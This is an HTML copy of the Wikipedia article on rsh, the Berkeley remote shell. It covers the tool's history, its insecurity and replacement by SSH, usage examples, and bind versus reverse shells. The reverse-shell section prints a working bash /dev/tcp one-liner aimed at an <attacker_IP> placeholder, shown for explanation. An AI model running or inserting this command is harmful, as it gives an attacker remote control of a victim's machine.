Micron Document
<!DOCTYPE html>
<html class="client-nojs vector-feature-night-mode-disabled vector-feature-language-in-header-enabled vector-feature-language-in-main-page-header-disabled vector-feature-page-tools-pinned-disabled vector-feature-toc-pinned-clientpref-1 vector-feature-main-menu-pinned-disabled vector-feature-limited-width-clientpref-1 vector-feature-limited-width-content-enabled vector-feature-custom-font-size-clientpref-1 vector-feature-appearance-pinned-clientpref-1 vector-sticky-header-enabled" lang="en" dir="ltr"><head>
<meta charset="UTF-8">
<title>Remote Shell</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link rel="canonical" href="https://en.wikipedia.org/wiki/Remote_Shell"> <link href="./mw/ext.cite.styles.css" rel="stylesheet" type="text/css">
<link href="./mw/ext.pygments.css" rel="stylesheet" type="text/css">
<link href="./mw/skins.vector.icons.css" rel="stylesheet" type="text/css">
<link href="./mw/skins.vector.search.codex.styles.css" rel="stylesheet" type="text/css">
<link href="./mw/skins.vector.styles.css" rel="stylesheet" type="text/css">
<link href="./mw/user.styles.css" rel="stylesheet" type="text/css">
<meta name="ResourceLoaderDynamicStyles" content="">
<link rel="stylesheet" type="text/css" href="./mw/site.styles.css">
<link rel="stylesheet" type="text/css" href="./mw/noscript.css">
<link rel="stylesheet" type="text/css" href="./footer.css">
<link rel="stylesheet" type="text/css" href="./vector-2022.css">
</head>
<body class="skin--responsive skin-vector skin-vector-search-vue mediawiki ltr sitedir-ltr mw-hide-empty-elt ns-0 ns-subject page-Remote_Shell rootpage-Remote_Shell skin-vector-2022 action-view">
<div class="mw-page-container">
<div class="mw-page-container-inner">
<div class="mw-content-container">
<main id="content" class="mw-body">
<header class="mw-body-header vector-page-titlebar">
<h1 id="firstHeading" class="firstHeading mw-first-heading">
<span id="openzim-page-title" class="mw-page-title-main"><span class="mw-page-title-main">Remote Shell</span></span>
</h1>
</header>
<a id="top"></a>
<div id="bodyContent" class="vector-body ve-init-mw-desktopArticleTarget-targetContainer" aria-labelledby="firstHeading" data-mw-ve-target-container="">
<div id="mw-content-text" class="mw-body-content mw-content-ltr" lang="en" dir="ltr"><div class="mw-content-ltr mw-parser-output" lang="en" dir="ltr">
<style data-mw-deduplicate="TemplateStyles:r1251242444">
/* start https://en.wikipedia.org/ */


.mw-parser-output .ambox{border:1px solid #a2a9b1;border-left:10px solid #36c;background-color:#fbfbfb;box-sizing:border-box}.mw-parser-output .ambox+link+.ambox,.mw-parser-output .ambox+link+style+.ambox,.mw-parser-output .ambox+link+link+.ambox,.mw-parser-output .ambox+.mw-empty-elt+link+.ambox,.mw-parser-output .ambox+.mw-empty-elt+link+style+.ambox,.mw-parser-output .ambox+.mw-empty-elt+link+link+.ambox{margin-top:-1px}html body.mediawiki .mw-parser-output .ambox.mbox-small-left{margin:4px 1em 4px 0;overflow:hidden;width:238px;border-collapse:collapse;font-size:88%;line-height:1.25em}.mw-parser-output .ambox-speedy{border-left:10px solid #b32424;background-color:#fee7e6}.mw-parser-output .ambox-delete{border-left:10px solid #b32424}.mw-parser-output .ambox-content{border-left:10px solid #f28500}.mw-parser-output .ambox-style{border-left:10px solid #fc3}.mw-parser-output .ambox-move{border-left:10px solid #9932cc}.mw-parser-output .ambox-protection{border-left:10px solid #a2a9b1}.mw-parser-output .ambox .mbox-text{border:none;padding:0.25em 0.5em;width:100%}.mw-parser-output .ambox .mbox-image{border:none;padding:2px 0 2px 0.5em;text-align:center}.mw-parser-output .ambox .mbox-imageright{border:none;padding:2px 0.5em 2px 0;text-align:center}.mw-parser-output .ambox .mbox-empty-cell{border:none;padding:0;width:1px}.mw-parser-output .ambox .mbox-image-div{width:52px}@media(min-width:720px){.mw-parser-output .ambox{margin:0 10%}}@media print{body.ns-0 .mw-parser-output .ambox{display:none!important}}


/* end https://en.wikipedia.org/ */
</style>
<style data-mw-deduplicate="TemplateStyles:r1295905060">
/* start https://en.wikipedia.org/ */


.mw-parser-output .infobox-subbox{padding:0;border:none;margin:-3px;width:auto;min-width:100%;font-size:100%;clear:none;float:none;background-color:transparent}.mw-parser-output .infobox-3cols-child{margin:auto}.mw-parser-output .infobox .navbar{font-size:100%}@media screen{html.skin-theme-clientpref-night .mw-parser-output .infobox-full-data:not(.notheme)>div:not(.notheme)[style]{background:#1f1f23!important;color:#f8f9fa}}@media screen and (prefers-color-scheme:dark){html.skin-theme-clientpref-os .mw-parser-output .infobox-full-data:not(.notheme)>div:not(.notheme)[style]{background:#1f1f23!important;color:#f8f9fa}}@media(min-width:640px){body.skin--responsive .mw-parser-output .infobox-table{display:table!important}body.skin--responsive .mw-parser-output .infobox-table>caption{display:table-caption!important}body.skin--responsive .mw-parser-output .infobox-table>tbody{display:table-row-group}body.skin--responsive .mw-parser-output .infobox-table th,body.skin--responsive .mw-parser-output .infobox-table td{padding-left:inherit;padding-right:inherit}}


/* end https://en.wikipedia.org/ */
</style><table class="infobox vevent"><tbody><tr><th colspan="2" class="infobox-above summary">remote shell (rsh)</th></tr><tr><th scope="row" class="infobox-label" style="white-space: nowrap;">Initial release</th><td class="infobox-data">1983<span style="display:none">&nbsp;(<span class="bday dtstart published updated">1983</span>)</span></td></tr><tr><th scope="row" class="infobox-label" style="white-space: nowrap;">Written in</th><td class="infobox-data"><a href="C_(programming_language)" title="C (programming language)">C</a></td></tr><tr><th scope="row" class="infobox-label" style="white-space: nowrap;"><a href="Operating_system" title="Operating system">Operating system</a></th><td class="infobox-data"><a href="Cross-platform" class="mw-redirect" title="Cross-platform">Cross-platform</a></td></tr></tbody></table>
<p>The <b>remote shell</b> (<b>rsh</b>) is a <a href="Command-line_interface" title="Command-line interface">command-line</a> <a href="Computer_program" title="Computer program">computer program</a> that can execute <a href="Command-line_interface" title="Command-line interface">shell commands</a> as another <a href="User_(computing)" title="User (computing)">user</a>, and on another computer across a <a href="Computer_network" title="Computer network">computer network</a>.
</p><p>The remote system to which <i>rsh</i> connects runs the <i>rsh</i> <a href="Daemon_(computing)" title="Daemon (computing)">daemon</a> (rshd). The daemon typically uses the <a href="Well-known_ports" class="mw-redirect" title="Well-known ports">well-known</a> <a href="Transmission_Control_Protocol" title="Transmission Control Protocol">Transmission Control Protocol</a> (TCP) <a href="Port_(computer_networking)" title="Port (computer networking)">port number</a> 514.
</p>
<meta property="mw:PageProp/toc">
<div class="mw-heading mw-heading2"><h2 id="History">History</h2></div>
<style data-mw-deduplicate="TemplateStyles:r1236090951">
/* start https://en.wikipedia.org/ */


.mw-parser-output .hatnote{font-style:italic}.mw-parser-output div.hatnote{padding-left:1.6em;margin-bottom:0.5em}.mw-parser-output .hatnote i{font-style:normal}.mw-parser-output .hatnote+link+.hatnote{margin-top:-0.5em}@media print{body.ns-0 .mw-parser-output .hatnote{display:none!important}}


/* end https://en.wikipedia.org/ */
</style><div role="note" class="hatnote navigation-not-searchable">Main article: <a href="Berkeley_r-commands" title="Berkeley r-commands">Berkeley r-commands</a></div>
<p><i>Rsh</i> originated as part of the <a href="Berkeley_Software_Distribution" title="Berkeley Software Distribution">BSD Unix</a> <a href="Operating_system" title="Operating system">operating system</a>, along with <a href="Rcp_(Unix)" class="mw-redirect" title="Rcp (Unix)">rcp</a>, as part of the <a href="Rlogin" class="mw-redirect" title="Rlogin">rlogin</a> package on 4.2BSD in 1983. rsh has since been ported to other operating systems.
</p><p>The <code>rsh</code> command has the same name as another common UNIX utility, the <a href="Restricted_shell" title="Restricted shell">restricted shell</a>, which first appeared in <a href="PWB/UNIX" title="PWB/UNIX">PWB/UNIX</a>; in <a href="System_V" class="mw-redirect" title="System V">System V Release 4</a>, the restricted shell is often located at <code>/usr/bin/rsh</code>.
</p><p>As other <a href="Berkeley_r-commands#Security" title="Berkeley r-commands">Berkeley r-commands</a> which involve user authentication, the rsh <a href="Communication_protocol" title="Communication protocol">protocol</a> is not <a href="Computer_security" title="Computer security">secure</a> for network use, because it sends <a href="Cryptography" title="Cryptography">unencrypted information</a> over the network, among other reasons. Some implementations also <a href="Authentication" title="Authentication">authenticate</a> by sending unencrypted <a href="Password" title="Password">passwords</a> over the network. rsh has largely been replaced with the <a href="Secure_Shell" title="Secure Shell">secure shell</a> (ssh) program, even on local networks.<sup id="cite_ref-1" class="reference"><a href="#cite_note-1"><span class="cite-bracket">[</span>1<span class="cite-bracket">]</span></a></sup><sup id="cite_ref-2" class="reference"><a href="#cite_note-2"><span class="cite-bracket">[</span>2<span class="cite-bracket">]</span></a></sup>
</p>
<div class="mw-heading mw-heading2"><h2 id="Example">Example</h2></div>
<p>As an example of rsh use, the following executes the command <i>mkdir testdir</i> as user <i>remoteuser</i> on the computer <i>host.example.com</i> running a UNIX-like system:
</p>
<div class="mw-highlight mw-highlight-lang-console mw-content-ltr" dir="ltr"><pre><span class="gp">$ </span>rsh<span class="w"> </span>-l<span class="w"> </span>remoteuser<span class="w"> </span>host.example.com<span class="w"> </span><span class="s2">"mkdir testdir"</span>
</pre></div>
<p>After the command has finished rsh terminates. If no command is specified then rsh will log in on the remote system using <a href="Rlogin" class="mw-redirect" title="Rlogin">rlogin</a>. The network location of the remote computer is looked up using the <a href="Domain_Name_System" title="Domain Name System">Domain Name System</a>.
</p>
<div class="mw-heading mw-heading2"><h2 id="Installation">Installation</h2></div>
<p>Command to install rsh client using apt
</p>
<div class="mw-highlight mw-highlight-lang-console mw-content-ltr" dir="ltr"><pre><span class="gp"># </span>apt-get<span class="w"> </span>install<span class="w"> </span>rsh-redone-client
</pre></div>
<div class="mw-heading mw-heading2"><h2 id="Bind_shell_and_reverse_shell">Bind shell and reverse shell</h2></div>
<div role="note" class="hatnote navigation-not-searchable">See also: <a href="Shell_shoveling" title="Shell shoveling">Shell shoveling</a></div>
<p>A remote shell session can be initiated by either a local device (which sends commands) or a remote device (on which commands are executed).<sup id="cite_ref-3" class="reference"><a href="#cite_note-3"><span class="cite-bracket">[</span>3<span class="cite-bracket">]</span></a></sup> In the first case remote shell will be called bind shell, in the second case - reverse shell.<sup id="cite_ref-4" class="reference"><a href="#cite_note-4"><span class="cite-bracket">[</span>4<span class="cite-bracket">]</span></a></sup>
</p><p>Reverse shell can be used when the device on which the command is to be executed is not directly accessible - for example, for remote maintenance of computers located behind NAT that cannot be accessed from the outside. Some exploits create reverse shell from an attacked device back to machines controlled by the attackers (called "reverse shell attack"). The following code demonstrates a reverse shell attack:<sup id="cite_ref-5" class="reference"><a href="#cite_note-5"><span class="cite-bracket">[</span>5<span class="cite-bracket">]</span></a></sup>
</p>
<div class="mw-highlight mw-highlight-lang-console mw-content-ltr" dir="ltr"><pre><span class="gp">$ </span><span class="nb">exec</span><span class="w"> </span><span class="m">5</span>&lt;&gt;/dev/tcp/&lt;attacker_IP&gt;/80<span class="p">;</span>cat<span class="w"> </span>&lt;<span class="p">&amp;</span><span class="m">5</span><span class="w"> </span><span class="p">|</span><span class="w"> </span><span class="k">while</span><span class="w"> </span><span class="nb">read</span><span class="w"> </span>line<span class="p">;</span><span class="w"> </span><span class="k">do</span><span class="w"> </span><span class="se">\$</span>line<span class="w"> </span><span class="m">2</span>&gt;<span class="p">&amp;</span><span class="m">5</span><span class="w"> </span>&gt;<span class="p">&amp;</span><span class="m">5</span><span class="p">;</span><span class="w"> </span><span class="k">done</span>
</pre></div><p>It opens a TCP socket to attacker IP at port 80 as a <a href="File_descriptor" title="File descriptor">file descriptor</a>. It then repeatedly read lines from the socket and run the line, piping both <a href="Standard_streams" title="Standard streams">stdout and stderr</a> back to the socket. In other words, it gives the attacker a remote shell on the machine.
</p><div class="mw-heading mw-heading2"><h2 id="See_also">See also</h2></div>
<ul><li><a href="Berkeley_r-commands" title="Berkeley r-commands">Berkeley r-commands</a></li>
<li><a href="Secure_Shell" title="Secure Shell">secure shell</a></li></ul>
<div class="mw-heading mw-heading2"><h2 id="References">References</h2></div>
<style data-mw-deduplicate="TemplateStyles:r1239543626">
/* start https://en.wikipedia.org/ */


.mw-parser-output .reflist{margin-bottom:0.5em;list-style-type:decimal}@media screen{.mw-parser-output .reflist{font-size:90%}}.mw-parser-output .reflist .references{font-size:100%;margin-bottom:0;list-style-type:inherit}.mw-parser-output .reflist-columns-2{column-width:30em}.mw-parser-output .reflist-columns-3{column-width:25em}.mw-parser-output .reflist-columns{margin-top:0.3em}.mw-parser-output .reflist-columns ol{margin-top:0}.mw-parser-output .reflist-columns li{page-break-inside:avoid;break-inside:avoid-column}.mw-parser-output .reflist-upper-alpha{list-style-type:upper-alpha}.mw-parser-output .reflist-upper-roman{list-style-type:upper-roman}.mw-parser-output .reflist-lower-alpha{list-style-type:lower-alpha}.mw-parser-output .reflist-lower-greek{list-style-type:lower-greek}.mw-parser-output .reflist-lower-roman{list-style-type:lower-roman}


/* end https://en.wikipedia.org/ */
</style><div class="reflist">
<div class="mw-references-wrap"><ol class="references">
<li id="cite_note-1"><span class="mw-cite-backlink"><b><a href="#cite_ref-1">^</a></b></span> <span class="reference-text"><style data-mw-deduplicate="TemplateStyles:r1238218222">
/* start https://en.wikipedia.org/ */


.mw-parser-output cite.citation{font-style:inherit;word-wrap:break-word}.mw-parser-output .citation q{quotes:"\"""\"""'""'"}.mw-parser-output .citation:target{background-color:rgba(0,127,255,0.133)}.mw-parser-output .id-lock-free.id-lock-free a{background:url("./mw/Lock-green.svg")right 0.1em center/9px no-repeat}.mw-parser-output .id-lock-limited.id-lock-limited a,.mw-parser-output .id-lock-registration.id-lock-registration a{background:url("./mw/Lock-gray-alt-2.svg")right 0.1em center/9px no-repeat}.mw-parser-output .id-lock-subscription.id-lock-subscription a{background:url("./mw/Lock-red-alt-2.svg")right 0.1em center/9px no-repeat}.mw-parser-output .cs1-ws-icon a{background:url("./mw/Wikisource-logo.svg")right 0.1em center/12px no-repeat}body:not(.skin-timeless):not(.skin-minerva) .mw-parser-output .id-lock-free a,body:not(.skin-timeless):not(.skin-minerva) .mw-parser-output .id-lock-limited a,body:not(.skin-timeless):not(.skin-minerva) .mw-parser-output .id-lock-registration a,body:not(.skin-timeless):not(.skin-minerva) .mw-parser-output .id-lock-subscription a,body:not(.skin-timeless):not(.skin-minerva) .mw-parser-output .cs1-ws-icon a{background-size:contain;padding:0 1em 0 0}.mw-parser-output .cs1-code{color:inherit;background:inherit;border:none;padding:inherit}.mw-parser-output .cs1-hidden-error{display:none;color:var(--color-error,#d33)}.mw-parser-output .cs1-visible-error{color:var(--color-error,#d33)}.mw-parser-output .cs1-maint{display:none;color:#085;margin-left:0.3em}.mw-parser-output .cs1-kern-left{padding-left:0.2em}.mw-parser-output .cs1-kern-right{padding-right:0.2em}.mw-parser-output .citation .mw-selflink{font-weight:inherit}@media screen{.mw-parser-output .cs1-format{font-size:95%}html.skin-theme-clientpref-night .mw-parser-output .cs1-maint{color:#18911f}}@media screen and (prefers-color-scheme:dark){html.skin-theme-clientpref-os .mw-parser-output .cs1-maint{color:#18911f}}


/* end https://en.wikipedia.org/ */
</style><cite class="citation web cs1"><a rel="nofollow" class="external text" href="https://www.researchgate.net/publication/234765974">"SSH, the Secure Shell: The Definitive Guide"</a>. <i>www.researchgate.net</i>. <a rel="nofollow" class="external text" href="https://web.archive.org/web/20231111073413/https://www.researchgate.net/publication/234765974_SSH_the_Secure_Shell_The_Definitive_Guide">Archived</a> from the original on 2023-11-11<span class="reference-accessdate">. Retrieved <span class="nowrap">2023-11-11</span></span>.</cite></span>
</li>
<li id="cite_note-2"><span class="mw-cite-backlink"><b><a href="#cite_ref-2">^</a></b></span> <span class="reference-text"><cite class="citation web cs1"><a rel="nofollow" class="external text" href="https://dev.to/me_jessicahowe/secure-shell-protocol-everything-you-need-to-know-5g5j">"Secure Shell Protocol – Everything you need to know"</a>. <i>dev.to</i>. 28 November 2022<span class="reference-accessdate">. Retrieved <span class="nowrap">2023-11-11</span></span>.</cite></span>
</li>
<li id="cite_note-3"><span class="mw-cite-backlink"><b><a href="#cite_ref-3">^</a></b></span> <span class="reference-text"><cite class="citation web cs1"><a rel="nofollow" class="external text" href="https://www.techtarget.com/searchsecurity/definition/Secure-Shell">"Secure Shell (SSH)"</a>. <i>www.techtarget.com</i>. <a rel="nofollow" class="external text" href="https://web.archive.org/web/20231111073413/https://www.techtarget.com/searchsecurity/definition/Secure-Shell">Archived</a> from the original on 2023-11-11<span class="reference-accessdate">. Retrieved <span class="nowrap">2023-11-11</span></span>.</cite></span>
</li>
<li id="cite_note-4"><span class="mw-cite-backlink"><b><a href="#cite_ref-4">^</a></b></span> <span class="reference-text"><cite class="citation web cs1"><a rel="nofollow" class="external text" href="https://www.geeksforgeeks.org/difference-between-bind-shell-and-reverse-shell/">"Difference Between Bind Shell and Reverse Shell"</a>. <i>www.geeksforgeeks.org</i>. 14 December 2021. <a rel="nofollow" class="external text" href="https://web.archive.org/web/20231111073414/https://www.geeksforgeeks.org/difference-between-bind-shell-and-reverse-shell/">Archived</a> from the original on 2023-11-11<span class="reference-accessdate">. Retrieved <span class="nowrap">2023-11-11</span></span>.</cite></span>
</li>
<li id="cite_note-5"><span class="mw-cite-backlink"><b><a href="#cite_ref-5">^</a></b></span> <span class="reference-text"><cite class="citation web cs1"><a rel="nofollow" class="external text" href="https://sysdig.com/learn-cloud-native/detection-and-response/what-is-a-reverse-shell/">"What is a Reverse Shell?"</a>. <i>Sysdig</i>. <a rel="nofollow" class="external text" href="https://web.archive.org/web/20231128061929/https://sysdig.com/learn-cloud-native/detection-and-response/what-is-a-reverse-shell/">Archived</a> from the original on 2023-11-28<span class="reference-accessdate">. Retrieved <span class="nowrap">2023-11-28</span></span>.</cite></span>
</li>
</ol></div></div>
<ul><li><a rel="nofollow" class="external text" href="https://web.archive.org/web/20041205190819/http://unixhelp.ed.ac.uk/CGI/man-cgi?rsh">rsh - remote shell</a> - rsh <a href="Man_page" title="Man page">man page</a>.</li>
<li><span class="neverexpand"><code><a rel="nofollow" class="external text" href="https://keith.github.io/xcode-man-pages/rsh.1.html">rsh(1)</a></code></span>:&nbsp;remote shell&nbsp;–&nbsp;<a href="Darwin_(operating_system)" title="Darwin (operating system)">Darwin</a> and <a href="MacOS" title="MacOS">macOS</a> General Commands <a href="Man_page" title="Man page">Manual</a></li></ul></div><!--htdig_noindex--><div><div class="zim-footer">
This article is issued from <a class="external text" title="Last edited on 2025-07-21" href="https://en.wikipedia.org/wiki/?title=Remote_Shell&amp;oldid=1301796278">Wikipedia</a>. The text is available under <a class="external text" href="https://creativecommons.org/licenses/by-sa/4.0/deed.en">Creative Commons Attribution-Share Alike 4.0</a> unless otherwise noted. Additional terms may apply for the media files.
</div>
</div><!--/htdig_noindex--></div>
</div>
</main>
</div>
</div>
</div>

</body></html>